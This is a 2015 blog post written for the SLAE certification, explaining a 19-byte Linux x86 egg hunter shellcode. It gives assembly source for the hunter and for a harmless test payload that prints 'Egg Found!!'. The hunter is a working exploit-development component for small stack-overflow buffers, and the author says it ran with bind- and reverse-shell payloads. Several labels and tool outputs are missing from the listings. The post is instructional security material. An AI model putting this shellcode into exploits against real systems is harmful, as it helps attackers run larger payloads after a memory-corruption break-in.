Sunday, 9 August 2015

SLAE Assignment #3: Egg Hunter Shellcode

For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the third exercise requested about writing an Egg Hunter shellcode. Code can be found at my GitHub SLAE repository.

In a classic stack-overflow, we are restricted by the available space for the exploit. When more than 400 bytes are available, there is no problem to choose the payload we want. However, when less than 50 bytes is usable, or even less than 40 bytes, there is not enough space to use a reverse shell shellcode or any complex payload. Sometimes a bigger space is available somewhere else on the stack at a random memory address, and it is possible to load a bigger payload there, but EIP does not point to it. In this case, the idea is to load a compact shellcode called "egg hunter" shellcode, that will look for this bigger shellcode. The key is to prepend the target shellcode with an "egg mark" that the egg hunter will have to look for. Once the egg hunter finds the egg mark, it can jump to it, therefore executing a bigger payload using a tiny space as egg hunter. This can basically be seen as a two-stages shellcode: tiny first stage looking for a bigger second stage, and jumping to it.

There is a lot of litterature about egg hunters, the most interesting paper I have read is Safely Searching Process Virtual Address Space from "skape". This paper presents three methods on Linux to make egg hunters, each one with Pros & Cons. I was very tempted by methods 2 & 3, however I wanted to see if I could do it smaller, and decided to not rely on the three syscall presented. The drawback is that my shellcode is looking in memory either upward, or downward (depending on "inc eax" or "dec eax"), but the advantage is its size, only 19 bytes.

This Egg Hunter shellcode has been accepted and published on exploit-db:

All comments are on the code. Available also on GitHub:

;Title: Linux x86 Egg Hunter Shellcode (19 bytes)
;Date: 4 August 2015
;Author: Guillaume Kaddouch
;    Website:
;    Twitter: @gkweb76
;Tested on: Ubuntu 14.04.2 LTS x86, Kali Linux 1.0.9 x86

; This code was created as an exercise for the SecurityTube Linux Assembly Expert (SLAE).

; Egg signature = 0x50905090 (push eax, nop, push eax, nop)
; Usually egg hunters use a 2 * 4 bytes (8 bytes) egg because the first address check could match the hardcoded egg signature in
; the egg hunter itself. As we do not store hardcoded egg signature below, it allows us to check only 4 bytes once.

global _start

section .text

 mov eax, addr  ; retrieve a valid address (shorter than using JMP CALL POP)
 mov ebx, dword 0x5090508f ; egg signature altered: 0x50905090 - 1
 inc ebx ; fix egg mark in ebx (the purpose is to not store hardcoded egg mark)

 inc eax    ; increasing memory address to look at next address
 cmp dword [eax], ebx ; check if our egg is at that memory address, if yes set ZF = 1
 jne next_addr  ; if ZF = 0 (check failed), then jmp to next_addr
 jmp eax    ; we found our egg (ZF = 1), jump at this address

 addr: db 0x1
The prerequisite of egg hunter shellcode I have seen, as written also on the aformentioned paper, is to have a 4 bytes egg mark (egg signature), and to prepend the target shellcode with twice the egg mark, consequently 8 bytes. This is usually required because the egg hunter can found the egg mark in its own code, whereas the 8 bytes egg mark only exists on the target shellcode. I decided to not store the hardcoded egg mark into my shellcode to avoid that prerequisite. I have accomplished that by hardcoding a different value, loading it into a register, and then setting it to the correct egg mark once in the register. In itself, it requires one more byte, because of "inc ebx", but then I can avoid using code that usually check twice the egg mark, thus having a smaller shellcode.
Also, at first I used a JMP/CALL/POP technique to retrieve a valid memory address to start with. I tried to find another way to find a valid address in less code, and I ended up finding that using a label address of a dummy variable could do the trick. The tiny size was the main purpose of the shellcode presented.

Once the asm file is created, I am using "" to display the shellcode:

Then I created a basic payload to display "Egg Found!!" as a target shellcode the egg hunter will have to look for:
; Title: Shellcode printing "Egg Found!!" (41 bytes)
; Author: Guillaume Kaddouch
; SLAE-681

global _start

section .text


 jmp short get_address ; jmp call pop

 pop ecx    ; 2nd arg: address of "Egg Found!!"

 xor eax, eax
 push eax   ; prepare stack for string copy (NULL terminated)
 mov al, 0x4    ; write syscall code

 xor ebx, ebx
 mov bl, 0x1    ; 1st arg: stdout

 xor edx, edx
 mov dl, 12    ; 3rd arg: message length
 int 0X80    ; write syscall

 xor eax, eax
 mov al, 0x1    ; exit syscall code
 int 0x80    ; exit syscall

 call shellcode
 message db "Egg Found!!", 0xA
Using again to be able to copy/paste the shellcode. The warning can be ignored, I have just added checks of course for NULLs, but also for 0x0a and 0x0d, that can cause problems on exploits. It allows me to modify the shellcode until it is free from these 3 bad characters:

Once we have the egg hunter and the egg target, we can mount them all together manually in a C file:

Now we can run the compiled file and check if it works:

We can see that the shellcode executes, the egg hunter find the egg mark and jumps to it, and the target shellcode is finally executed and display a message on screen. The greatest advantage of this shellcode is its size. However even if an 8 bytes egg mark is not a prerequisite in our case, it can be argued that a 4 bytes only egg mark could randomly be found somewhere else in the process which would make our egg hunter jump to the wrong place. I tried this egg hunter with various payloads, such as bind shell or reverse shell, and it was working fine.

This was a very interesting exercice.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-681

No comments:

Post a Comment